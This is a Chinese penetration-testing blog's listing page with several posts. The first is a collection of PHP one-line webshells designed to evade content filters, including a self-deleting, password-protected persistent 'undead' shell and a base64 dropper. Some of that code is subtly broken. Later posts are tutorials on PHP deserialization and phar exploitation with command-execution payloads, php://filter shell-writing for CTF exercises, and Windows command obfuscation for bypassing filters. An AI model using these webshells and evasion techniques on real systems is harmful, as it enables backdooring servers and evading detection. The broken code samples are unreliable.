首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
9,904 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,561 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,757 阅读
4
几个常见的密码字典推荐
3,968 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,433 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
SQL注入
靶场实战
提权
代理隧道
域渗透
信息收集
权限提升
WAF绕过
hackmyvm
AI安全
云安全
权限维持
红队攻击
蓝队防御
云服务
白小羽
累计撰写
188
篇文章
累计收到
0
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
7
篇与
的结果
2025-12-14
【2026最新】PHP一句话木马免杀方法
这里主要收集了一些常用的php一句话木马不同的写法,应对一些对文件内容过滤的场景1、普通一句话木马<?php @eval($_POST['cmd']); ?> 2、如果过滤了eval,可以使用assert绕过<?php @assert($_POST['cmd']); ?> 3、当过滤了eval、assert两个关键字时,可以用字符串拼接的方式。介绍substr_replace()函数<?php $a=substr_replace("assexx","rt",4); @$a($_POST['cmd']); ?> 4、@call_user_func把第一个参数作为回调参数使用<?php @call_user_func(assert,$_POST['cmd']); ?> 5、除了substr_replace(),还有一种字符分割法<?php $a="a"."s"; $b="s"."e"."rt"; $c=$a.$b; $c($_POST['cmd']); ?> 6、给下面给fun1中的变量a赋值assert<?php function fun1($a){ assert($a); } fun1($_POST['cmd']); ?> 7、可以利用函数来构造一句话木马<?php function shyshy($a){ assert($a); } @shyshy($_POST['cmd']); ?> 8、适用于过滤了GET和POST的情况下<?php $a=$_REQUEST['cmd']; $b="\n"; eval($b.=$a); ?> 9、可以构造一个类,利用魔术方法来拼接<?php class shyshy{ public $a=''; function __destruct(){ assert("this->$a"); } } $b=new shyshy(); $b->a=$_POST['cmd']; ?> 10、base64加解密<?php $a=base_decode(YXNzZXJ0); $b=$a(base64_decode($_POST['cmd'])); ?> 11、写入木马<?php if(isset($_POST['filename'])) { $d='data'; $$d=$_POST['text']; //$data $f='fp'; $$f=fopen($_POST['filename'],'wb'); //$fp echo fwrite($fp,$data):"save success":"save fAIl"; fclose($fp); } ?> 12、不死马<?php ignore_user_abort(true); //设置与客户机断开是否会终止脚本的执行,true则不会 set_time_limit(0); //如果为零说明永久执行直到程序结束 unlink(__FILE__); //调用unlink()的时候,文件还是存在的,只是目录里找不到该文件了,但是已经打开这个文件的进程可以正常读写 $file='./.index1.php'; $code='<?php if(md5($_POST["pass"])=="xxxxxxxxxx") //给木马设置密码,防止他人使用 { @eval($_POST["cmd"]); }?>'; while(1){ file_put_contents($file,$code); system('touch -m -d "2018-12-01 9:10:12" .index1.php'); //设置文件的编辑时间 usleep(5000); } ?> 13、还有一种方法<?php function simpleTransform($str, $offset = 1) { $transformed = ''; for ($i = 0; $i < strlen($str); $i++) { $transformed .= chr((ord($str[$i]) + $offset) % 256); } return $transformed; } $original = $_REQUEST["a"]; $transformed = simpleTransform($original, 3); function reverseTransform($str, $offset = 1) { $reversed = ''; for ($i = 0; $i < strlen($str); $i++) { $reversed .= chr((ord($str[$i]) - $offset + 256) % 256); } return $reversed; } $reversed = reverseTransform($transformed, 3); echo eval($reversed); 14、其他<?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["xiaoyu"]); ?> <?php $lang = (string)key($_POST);$lang($_POST['xiaoyu']);?> <?php $k="ass"."ert"; $k(${"_PO"."ST"} ['xiaoyu']);?> <?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?> # 密码是-7 php v9<?php file_put_contents('c7.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2NjMjc4OV0pOz8+')); ?> …/…/…/…/html/special/cc/index 更多一句话木马免杀方法,可以配合AI逐步尝试
2025年12月14日
1,387 阅读
0 评论
0 点赞
2025-05-18
PHP反序列化漏洞从入门到深入8k图文介绍,以及phar伪协议的利用
前言本文内容主要分为三个部分:原理详解、漏洞练习和防御方法。这是一篇针对PHP反序列化入门者的手把手教学文章,特别适合刚接触PHP反序列化的师傅们。本文的特色在于对PHP反序列化原理进行了深入细致的分析,并提供了一系列由简入深的PHP反序列化习题,配以详细的练习和分析讲解。序列化介绍序列化是指将变量转换为一种可保存或传输的字符串形式的过程;而反序列化则是在需要的时候,将这个字符串重新转换回原来的变量形式以供使用。这两个过程相辅相成,为数据的存储和传输提供了极大的便利,同时也使得程序更加易于维护和扩展。例子将一大段对象序列化压缩成字符串.然后根据要求反序列化重新构造对象.(②是序列化的格式,下文详解)class Person { public $name; //public 修饰的这个成员在任何地方都可以使用 private $age; //private 修饰的成员只能被 其所在类 的其他成员访问 protected $sex; //protected 修饰的类成员 所在类的子类以及同一个包内的其他类 访问 function sayName() { echo $this->name; } function sayAge() { echo $this->age; } function saySex() { echo $this->sex; } function __construct($name, $age,$sex) { $this->name = $name; $this->age = $age; $this->sex = $sex;//protected修饰的sex } } $person=new Person('张三',20,'boy'); $person->sayName();//张三 $person->sayAge();//20 $person->saySex();//boy echo '</br>'; // 序列化:serialize将php的遍历变量(数组、对象等)转化成一个 可以存储或传输的字符串 表示的函数。即---对象压缩成字符串 echo serialize($person);//O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";} echo "</br>"; // 因为我们需要使用url进行测试,所以将这个转化后的字符串进行url编码,便于之后进行反序列化测试 echo urlencode(serialize($person));//O%3A6%3A%22Person%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22%E5%BC%A0%E4%B8%89%22%3Bs%3A11%3A%22%00Person%00age%22%3Bi%3A20%3Bs%3A6%3A%22%00%2A%00sex%22%3Bs%3A3%3A%22boy%22%3B%7D get.php进行反序列化,将上面进行url编码的内容传到这个php,进行反序列化(将字符串还原成对象)<?php $html =unserialize($_GET['html']); echo $html; 在上面的代码中我们可以看到序列化之后的内容为,将其进行分段详细解析O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";} O : 自定义对象 object 6 : 类名的长度 :3 : 3个成员属性 s:4 : 你的成员属性名 长度为4 ,并且是一个字符串 string s:3 : 刚刚那个成员属性对应的值 是string类型,并且长度是3位 s:11:"Personage" : 因为该属性是私有属性,所以需要在属性名前加上类名,方便我们进行反序列化的时候的识别. i:20 : 20是age的属性值 , i是代表 integer类型 s:6:"*sex"; sex这个属性是一个受保护的属性,特征就是 * 号 s:3:"boy : 代表 string类型,属性值长度为3位 boy对应是 sex的属性值 private和 protected详解//protected举例 class Animal { protected $name; //构造函数,即当你创建一个新对象时,这个方法会自动被调用,用于被初始化对象。 //构造函数可以接收参数,这些参数可以用来设置对象的初始状态。 public function __construct($name) { $this->name = $name; } protected function getName() { echo $this->name ." 小羽网安"; } } ///extends继承 class Dog extends Animal { public function __construct($name) { //调用父类的构造函数 parent::__construct($name); } // public function introduce() // { // //调用父类的eat方法 // parent::getName(); // echo $this->name ." Dog类别的输出"; // } public function getDog() { $this->getName();//调用继承类的getName方法 echo '<br/>继承之后,继续调用的函数'; } } $myDog=new Dog("<br/>hellow"); $myDog->getDog(); //hellow 小羽网安<br/>继承之后,继续调用的函数 $myName=new Animal("游不动的小鱼丶"); //$myName->getName();//无法从外部访问这个成员,Fatal error: Uncaught Error: Call to protected method Animal::getName() from context //$myDog->getName();//无法从继承之后的类访问这个成员Fatal error: Uncaught Error: Call to protected method Animal::getName() from context ?> PHP在序列化含有private和protected权限的变量时,会在变量名前添加ASCII码为0的不可见字符,表现为%00类名%00属性名和%00*%00属性名。这些字符在显示和输出时可能不易察觉,甚至导致数据截断。为了清晰查看,可将序列化后的字符串进行urlencode编码后打印输出。案例,直接将我们url编码的结果复制到解码工具,会发现每个protected、private属性前面会有个�这个符号就是%00PHP常见的魔术方法__construct用于在创建对象时自动调用,主要用于初始化对象。<?php //声明一个类为Person class Person { public $name; public $age; // 构造函数 public function __construct($name, $age) { $this->name = $name; $this->age = $age; } // 一个普通的方法,用于显示信息 public function displayInfo() { echo "Name: " . $this->name . ", Age: " . $this->age . "<br>"; } } // 创建Person对象 $person1 = new Person("John", 30); $person2 = new Person("Jane", 25); // 调用方法显示信息 $person1->displayInfo(); // 打印:Name: John, Age: 30 $person2->displayInfo(); // 打印:Name: Jane, Age: 25 ?> __destruct它在对象被销毁时自动调用。这通常发生在对象的所有引用都被删除或者脚本执行结束时。__destruct() 方法常用于执行一些清理操作,比如关闭文件、释放资源等。<?php class Person { public $name; // 构造函数 public function __construct($name) { $this->name = $name; echo "构造函数被调用,对象 {$this->name} 被创建。<br>"; } // 析构函数 public function __destruct() { echo "析构函数被调用,对象 {$this->name} 被销毁。<br>"; } } // 创建Person对象 $person = new Person("John"); // 脚本结束时,$person 对象会被自动销毁,此时会调用 __destruct() 方法 ?> __toString它允许一个类对象在被当作字符串处理时自动调用该方法,并返回该对象的一个字符串表示。这通常用于调试目的,或者当你需要将对象以字符串形式输出时。<?php class Person { public $name; public $age; // 构造函数 public function __construct($name, $age) { $this->name = $name; $this->age = $age; } // __toString() 方法 public function __toString() { return "Person Object (Name: {$this->name}, Age: {$this->age})"; } } // 创建Person对象 $person = new Person("John", 30); // 当对象被当作字符串处理时,__toString() 方法会被自动调用 echo $person; // 打印:Person Object (Name: John, Age: 30) ?> __invoke允许一个对象像函数那样被调用。当你尝试以调用函数的方式调用一个对象时(例如,$obj()),__invoke() 方法会被自动调用。<?php class Greeter { public $name; // 构造函数 public function __construct($name) { $this->name = $name; } // __invoke() 方法 public function __invoke() { echo "Hello, {$this->name}!<br>"; } } // 创建Greeter对象 $greeter = new Greeter("World"); // 当对象被当作函数调用时,__invoke() 方法会被自动调用 $greeter(); // 打印:Hello, World! ?> __call它在尝试调用一个对象中不可访问的方法时被调用。class MyClass { private function myPrivateMethod($param1, $param2) { echo "调用了一个私有方法:$param1, $param2\n"; } public function __call($name, $arguments) { if ($name === 'myPrivateMethod') { return $this->myPrivateMethod($arguments[0], $arguments[1]); } else { echo "尝试调用的方法 '$name' 不存在。\n"; } } } $obj = new MyClass(); $obj->myPrivateMethod('Hello', 'World'); // 调用私有方法 $obj->myNonExistingMethod('Foo', 'Bar'); // 尝试调用不存在的方法 __sleep它在对象被序列化时调用。(序列化:将一个对象转化为字符串。)class MyClass { public $prop1 = 'value1'; public $prop2 = 'value2'; private $prop3 = 'value3'; public function __sleep() { // 返回不需要被序列化的属性名称数组 return array('prop2'); } } $obj = new MyClass(); $serialized = serialize($obj); echo $serialized; // 输出序列化后的字符串,其中不包含 $prop2 一.初步认识写入反序列化文件index.php,通过传参让页面出现phpinfo页面class one { var $b="phpinfo();"; function action() { eval($this->b);//eval:用于执行一段php代码字符串。 } } $a=unserialize($_GET['obj']);//将获取到的参数进行反序列化 $a->action();//执行这个方法 分析payloadO:3:"one":1:{s:1:"b";s:10:"phpinfo();";} 新建一个序列化test.php文件用于存放预构造的代码<?php class one { var $b='eval($_GET[2]);'; function action() { eval($this->b); } } $a=new one(); $a->action(); echo serialize($a);//实例化一个对象,将其序列化的内容打印出来 得到其序列化的结果,在我们的页面最下面我们将他反序列化-->index.php进行传参很好,能得到我们的结果,如果你疑问是不是index.php代码中包含了phpinfo(),所以他才能执行emmm,完全不需要顾虑,我们来验证这个结论,把这个自定义代码删掉嗯,很好,验证了我们的结论,这个反序列化漏洞,是可以进行任意代码执行的注意前面那个s,代表着你执行的代码字符串长度,大于或者小于这个长度,都是执行不了的当然也可以使用这种payloadhttp://127.0.0.1/index.php?obj=O:3:"one":1:{s:1:"b";s:15:"eval($_GET[2]);";}&2=echo system('whoami'); 在考虑完过滤等先决条件后,找到可控点,构造成我们想要执行的代码,将其反序列化利用。这个过程不要去看原来代码想要执行的,关键是去构造你要执行的二.简单利用简单利用反序列化index.php代码参考:<?php class one { var $b = 'echo 123;'; function action() { eval($this->b); } } class Student { var $a; function __construct() { $this->a = new one(); } function __destruct() { $this->a->action(); } } unserialize($_GET[1]); 新建一个test.php用于获取序列化结果,获取我们的参数<?php class one { var $b = 'echo 123;'; function action() { eval($this->b); } } class Student { var $a; //构造函数,对象被实例化即new的时候调用 function __construct() { $this->a = new one(); } //折构函数:被销毁时候调用 function __destruct() { $this->a->action(); } } $one = new Student(); echo serialize($one);//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:9:"echo 123;";}} 这时候再回到我们index.php可以正常执行代码,那么我们在test.php修改我们的payload为执行系统命令whoami,获取反序列化的攻击载荷<?php class one { var $b = 'system("whoami");'; function action() { eval($this->b); } } class Student { var $a; //构造函数,对象被实例化即new的时候调用 function __construct() { $this->a = new one(); } //折构函数:被销毁时候调用 function __destruct() { $this->a->action(); } } $one = new Student(); echo serialize($one);//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:17:"system("whoami");";}} 复制这个结果,使用具有反序列化漏洞的index.php进行传参三、相关绕过任务:访问当前目录的1.txt文件构造环境创建一个1.txt文件,输入任意内容,通过反序列化读取文件内容。习题代码<?php @error_reporting(1); echo $_GET['data']; class baby { public $file; function __toString() { if(isset($this->file)) { $filename = "./{$this->file}"; if (file_get_contents($filename)) { return file_get_contents($filename); } } } } if (isset($_GET['data'])) { $data = $_GET['data']; preg_match('/[oc]:\d+:/i',$data,$matches); if(count($matches)) { die('Hacker!'); } else { $good = unserialize($data); echo $good; } } else { highlight_file("./test4.php"); } ?> 这段PHP代码包含两部分:上部分定义了一个baby类,包含一个file属性和一个__toString魔术方法,用于读取并返回文件内容。下部分接收GET请求中的data参数,进行过滤后反序列化,并打印结果。理解这两部分的关系,特别是类的序列化形式,对于执行预期操作至关重要。既然上半部分定义了类,下半部分只是过滤的代码,可以将上半部分抽离出来,查看序列化的结果,以便于反序列化同上面一样构造序列化test.php<?php @error_reporting(1); echo $_GET['data']; class baby { //构造你要读取的文件 public $file="1.txt"; function __toString() { if(isset($this->file)) { $filename = "./{$this->file}"; if (file_get_contents($filename)) { return file_get_contents($filename); } } } } echo serialize(new baby()); .过滤:代码块中通过正则,不区分大小写的o,c字符,去匹配字符的冒号后的数字来做校验可以通过+4等价代替 4 从而绕过检测(+ url编码为%2b)payload O:%2b4:"baby":1:{s:4:"file";s:5:"1.txt";} 四、开始上手任务:读取 flag.游不动的鱼宝丶class A { public $mod1; public $mod2; //对象销毁之后调用 public function __destruct() { $this->mod1->test1(); } } class B { public $mod1; public $mod2; public function test1() { $this->mod1->test2(); } } class C { public $mod1; public $mod2; //__call尝试调用一个对象中不可访问的方法时被调用。 public function __call($test2, $arr) { $s1 = $this->mod1; $s1(); } } class D { public $mod1; public $mod2; //__invoke允许一个对象像函数那样被调用 public function __invoke() { $this->mod2 = "字符串拼接" . $this->mod1; } } class E { public $str1; public $str2; public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:" . "游不动的鱼宝丶"; } } $a = $_GET['obj']; unserialize($a); 我们来分析代码,E类中的魔术方法调用了GetFlag类中的方法这里的字符串拼接,调用了__toString魔术方法C类中的成员以函数的形式调用了自己的成员B类中的函数调用了C类中的$test2成员最后销毁代码构造: 通过 __construct()魔术方法,创建对象的时候自动调用 / 即在每一个类中都添加一个构造方法<?php class A { public $mod1; public $mod2; //通过 __construct()魔术方法,创建对象的时候自动调用 public function __construct() { $this->mod1 = new B(); } public function __destruct() { $this->mod1->test1(); } } class B { public $mod1; public $mod2; public function __construct() { $this->mod1 = new C(); } public function test1() { $this->mod1->test2(); } } class C { public $mod1; public $mod2; public function __construct() { $this->mod1 = new D(); } public function __call($test2, $arr) { $s1 = $this->mod1; $s1(); } } class D { public $mod1; public $mod2; public function __construct() { $this->mod1 = new E(); } public function __invoke() { $this->mod2 = "字符串拼接" . $this->mod1; } } class E { public $str1; public $str2; public function __construct() { $this->str1 = new GetFlag(); } public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:" . "游不动的鱼宝丶"; } } $c = new A; echo serialize($c);//O:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;} 序列化输出结果得到payloadO:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;} 使用具有该反序列化漏洞的index.php总结:从习题中不难看出, 漏洞的主要的原因就是在反序列化的过程中,通过我们的恶意篡改会产生魔法函数绕过,字符逃逸,远程命令执行等漏洞。Phar文件和Phar协议前言在PHP应用中,随着代码安全性的提升,直接利用unserialize()函数的反序列化漏洞变得越来越困难。为了绕过这一限制,攻击者开始利用PHAR文件存储用户自定义元数据为序列化的特性,为反序列化漏洞的攻击提供了新的途径。即使在没有直接的unserialize()调用或缺乏传参接口的情况下,攻击者仍可以通过可控的文件系统函数,配合phar://伪协议,实现不依赖unserialize()的直接反序列化操作。攻击者只需构造包含恶意代码的PHAR文件并上传到目标网站,然后通过特定方式触发反序列化,即可达到攻击目的。phar文件详解Phar文件是一种PHP归档格式,用于将多个PHP代码文件及其他资源(如图像、样式表等)打包成一个文件,便于应用程序和库的分发。其独特之处在于,它会以序列化的形式存储用户自定义的meta-data。当文件操作函数处理phar文件时,会自动触发meta-data的反序列化过程。phar文件分为四层Stub(存根):Phar文件的文件头,必须以<?php xxx __HALT_COMPILER(); ?>结尾,其中xxx可以是自定义的任何字符,如果不定义则默认为<?php __HALT_COMPILER(); ?>。Manifest(清单):包含了压缩文件的权限、属性以及序列化形式存储的用户自定义元数据等信息。在利用Phar反序列化漏洞时,Manifest中的序列化字符串是攻击的主要目标。Contents(内容):包含了实际的文件内容,比如PHP脚本、图片、样式表等应用程序正常运行所需的其他文件。这些文件在Phar文件中被压缩存储,以节省空间并便于分发。Signature(签名)(可选):验证Phar文件的完整性和真实性。生成phar文件1.准备环境1.1Phar需要 PHP >= 5.2 1.2在php.ini中将phar.readonly设为Off(注意去掉前面的分号)php配置具体index.php代码,phar文件生成<?php class AnyClass{ var $output = 'phpinfo();'; function __destruct() { eval($this -> output); } } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub $o = new AnyClass(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?> 访问index.php生成phar文件查看目录这里就有了序列化之后的结果Tips : phar.phar文件是在本地生成后上传到目标网站的。配合phar协议和相关函数,它可以构成反序列化攻击的杀伤链。因此,前置的PHP环境配置操作不会影响后续的攻击实施。利用的关键在于:phar文件必须能上传到服务器;存在可用的魔术方法作为攻击的“跳板”;文件操作函数的参数可控,且特殊字符如./、../、phar等未被过滤。php大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,知道创宇测试后发布的受影响的函数如下 :文件操作函数绕过技巧1.环境限制了phar不能出现在前面的字符里compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt php://filter/read=convert.base64-encode/resource=phar://phar.phar 2.验证文件格式$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 3、绕过上传后缀检查即使将文件后缀改为gif也不影响phar的文件最终执行执行index.php一.初步了解任务:目标1.php界面任务执行phpinfo()1、index.php代码(具有phar协议反序列化漏洞的代码)<?php class Files { var $b = 'echo ok;'; function __destruct() { eval($this->b); } } //$file = '../'.$_GET['file']; is_dir('phar://phar.phar/test.txt'); 2、test.php攻击代码<?php class Files{ var $b = 'phpinfo();'; function __destruct() { eval($this -> b); } } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,验证文件格式 $o = new Files(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); 这里我们执行我们的攻击代码,生成phar.phar文件可以查看phar.phar文件(.metadata.bin放置着序列化的恶意代码)生成成功后我们就可以利用这个具有phar协议反序列化漏洞index.php访问了,执行成功看不出效果?那么这样呢访问test.php,为空白界面查看文件对payload的obj参数进行传参执行系统命令二、进一步了解通过phar协议读取Destruct called目标文件class TestObject { public function __destruct() { echo 'Destruct called'; } } $filename = $_GET['cmd']; file_get_contents($filename); 分析:存在可控点以及文件操作函数file_get_contents,需要通过phar协议的反序列化功能,配合file_get_contents函数,执行phar.phar文件内序列化后的代码1、同理,构造phar.phar文件,将恶意代码序列化存入phar.phar的.metadata.bin文件中phar.phar文件生成成功利用phar协议,执行了具有phar协议反序列化漏洞的php文件,并成功获取到了魔术方法中的内容扩展:练习具体代码class Test { public $num = 2; public function __destruct() { if ($this->num === 1) { echo 'flag{123}'; } } } echo file_get_contents($_GET['data']); (关键在于构建恶意的代码,关注点在$num = 2 --->$num=1)再深入任务:通过phar协议执行phpinfo详细:通过upload_file.php,index.php,page.php文件模拟攻击目标,使用phar文件和phar协议执行反序列化,达到任意代码执行效果.环境准备1.www/目录(网站根目录)下放upload_file.php,index.php,page.php文件2.www/目录(网站根目录)下新建upload_file文件夹3.各个文件内容及解释<?php if (($_FILES["file"]["type"] == "image/gif") && (substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.') + 1)) == 'gif') { echo "Upload: " . $_FILES["file"]["name"]; echo "Type: " . $_FILES["file"]["type"]; echo "Temp file: " . $_FILES["file"]["tmp_name"]; if (file_exists("upload_file/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/" . $_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } } else { echo "Invalid file,you can only upload gif"; } upload_file.php:内容做了一个上传文件后缀的限制upload_file.phpindex.php 提供一个上传界面<body> <form action="/upload_file.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="Upload" /> </form> </body> page.php 目标可控点<?php $filename=$_GET['filename']; class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } file_exists($filename);//用于检查文件或目录是否存在 page.php分析1.目标存在可控点以及文件操作函数page.php分析受影响的文件操作函数表2.只有upload_file.php的对上传文件的后缀和类型进行限制,但是!我们phar文件也可以使用gif后缀!文章中有提到,可以仔细看一看。所以这题我们就可以使用phar协议进行漏洞复现开始解题1、构造上传文件phar,test.php<?php class AnyClass{ var $output = 'phpinfo();'; function __destruct() { eval($this -> output); } } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,验证文件格式 $o = new AnyClass(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); 检查我们的payload改文件名上传之前,新建一个upload_file文件夹因为这里测试的文件上传代码保存在这个文件夹中开始上传上传成功执行我们的payload漂亮!反序列化漏洞预防使用安全的序列化/反序列化库选择经过安全审计的、维护良好的序列化库。避免使用已知存在安全漏洞的库。限制反序列化的类型只允许反序列化预定义、可信的类。使用类型安全的序列化机制,如Java中的ObjectOutputStream和ObjectInputStream时,可以使用enableSubstitution方法来限制反序列化的类。数据完整性验证在序列化和反序列化过程中,使用数字签名或消息认证码(MAC)来验证数据的完整性。确保序列化数据在传输过程中未被篡改。定期审计和测试定期对应用程序进行安全审计,以识别潜在的反序列化漏洞。使用自动化工具和手动测试方法来检测和利用反序列化漏洞。原文有一定缺陷,在本文已修复,并且本文也比较通俗易懂文章参考:https://mp.weixin.qq.com/s/98SP8M-OjkvLw4lPi3ojvQ
2025年05月18日
1,743 阅读
0 评论
0 点赞
2025-05-18
文件包含_PHP filter伪协议利用方式
前言本文主要讲解php filter伪协议,文件包含漏洞php://filter伪协议是PHP中独有的一种协议,它是一种过滤器,可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据,且在读取和写入之前对数据进行一些过滤,例如base64编码处理、rot13处理等。php://filter伪协议主要用于一体式(all-in-one)的文件函数,如readfile()、file()、file_get_contents()等,这些函数在数据流内容读取之前没有机会应用其他过滤器,而php://filter伪协议则可以在读取或写入数据时对数据进行过滤处理。基本语法php://filter伪协议的基本语法如下:php://filter/<action>/resource=<待过滤的数据流><action>:表示要对数据执行的过滤操作,如读取(read)、转换编码(convert)或字符串操作(string)等。<待过滤的数据流>:通常是要读取或写入的文件路径或URL。过滤器分类php://filter伪协议支持的过滤器主要分为以下几类:字符串过滤器:以string开头,对数据进行字符串处理,如rot13、toupper、tolower、strip_tags等。string.rot13:使用当前字母在字母表后第13个字母替换当前字母。string.toupper、string.tolower:将字符串转换为大写或小写。string.strip_tags:去除字符串中的HTML、XML和PHP标签。转换过滤器:以convert开头,对数据进行编码转换,如base64编码、解码,quoted-printable编码、解码,iconv字符编码转换等。convert.base64-encode/decode:对数据进行Base64编码或解码。convert.quoted-printable-encode/decode:对数据进行Quoted-Printable编码或解码。convert.iconv..:对字符串进行字符编码转换。压缩过滤器:如zlib.deflate(压缩)、zlib.inflate(解压)、bzip2.compress(压缩)、bzip2.decompress(解压)等。加密过滤器:如mcrypt.、mdecrypt.等,用于数据的加密和解密。使用示例以下是一些使用php://filter伪协议的例子:读取文件并进行Base64编码:php复制代码 echo file_get_contents("php://filter/convert.base64-encode/resource=index.php");这行代码会读取index.php文件的内容,并将其进行Base64编码后输出。写入文件并进行Base64解码:php复制代码 file_put_contents("php://filter/write=convert.base64-decode/resource=shell.php", base64_encode("<?php phpinfo(); ?>"));这行代码会将Base64编码的字符串写入shell.php文件,并在写入前进行Base64解码,最终shell.php文件中将包含原始的<?php phpinfo(); ?>代码。注意事项在使用php://filter伪协议时,需要注意过滤器的选择和数据流的指定,以确保数据的正确处理和安全性。在某些环境下,出于安全考虑,可能会对php://filter伪协议的使用进行限制或禁用。靶场复现实战之前,请大佬来吃瓜题1题目ctfshow这里我们的练习题目是,ctfshow的web87,分析源码,file_put_contents函数,将$content的内容(前面附加了一段PHP代码<?php die('大佬别秀了');?>)写入到URL解码后的$file指定的文件中。这段附加的PHP代码会在文件被包含或执行时显示"大佬别秀了"这里,我们可以将我们的payload和这段die代码,对他进行base64编码,发现都是乱码如果我们在base64编码前面加几个字符呢,我们的php一句话木马就可以直接读出来了我们将他复制到这里,进行传参绕过方式参考:全编码工具推荐棱角社区的https://forum.ywhack.com/coding.php首先将我们的payload进行全编码然后再使用ur编码对目标文件进行传参?file=【你的payload】此时我们去访问我们上传的php代码,文件列表已经列出来了找到源码题2ctfshow的练习web116提示只有这一个视频查看源码也没发现什么东西那就从文件下手我们拿010编辑器看文件尾部,发现是一个图片结束的16进制的图片文件图片进制表这里我们查找有没有png的内容找到指定选项从这里开始一直到最后,把他复制下来新建一个文本文件粘贴保存png图片发现是源代码,检查过滤协议发现file和php协议没有过滤,抓包即可,php协议测试file协议测试
2025年05月18日
1,603 阅读
0 评论
0 点赞
2025-05-18
phpStudy 小皮 Windows面板 存在RCE漏洞(nday)
https://mp.weixin.qq.com/s/VcD3Gb8oTk0d5bW72e0P-A
2025年05月18日
1,137 阅读
0 评论
0 点赞
2025-05-18
windows和linux的命令混淆方式
Windows和Linux的命令混淆方式我们在Windows命令行中执行命令的时候,是不区分大小写的C:>WHOAMI yvadministrator在命令行中可以有无数个"C:>wh""""oami yvadministrator C:>wh""""""""""""""""""""""""""""""oami yvadministrator不能有两个连续的^C:>whoa^mi yvadministrator C:>whoam^^i 'whoam^i' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 C:>who^a^m^i yvadministrator在命令中如果 " 在^之前,此时"的数量必须为偶数C:>who""a^mi yvadministrator C:>who"a^mi 'who"a^mi' 不是内部或外部命令,也不是可运行的程序 或批处理文件。在命令中"在^之后,且带有参数,则”也需要带有偶数C:>n^et" user 'net" user' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 C:>n^et"" user \YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。也可以使用()对命令进行包裹C:>(whoami) yvadministrator C:>(n^et"" user) \YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。()的数量不设上限C:>(((whoami))) yvadministrator使用变量简单拼接%%局部分开每个变量C:>set cmd1=who C:>set cmd2=am C:>set cmd3=i C:>%cmd1%%cmd2%%cmd3% yvadministrator变量拼接方式二C:>set cmd1=who C:>set cmd3=i C:>%cmd1%am%cmd3% yvadministrator变量拼接方式三C:>set cmd1=wh"""o C:>set cmd3=i""" C:>%cmd1%am%cmd3% 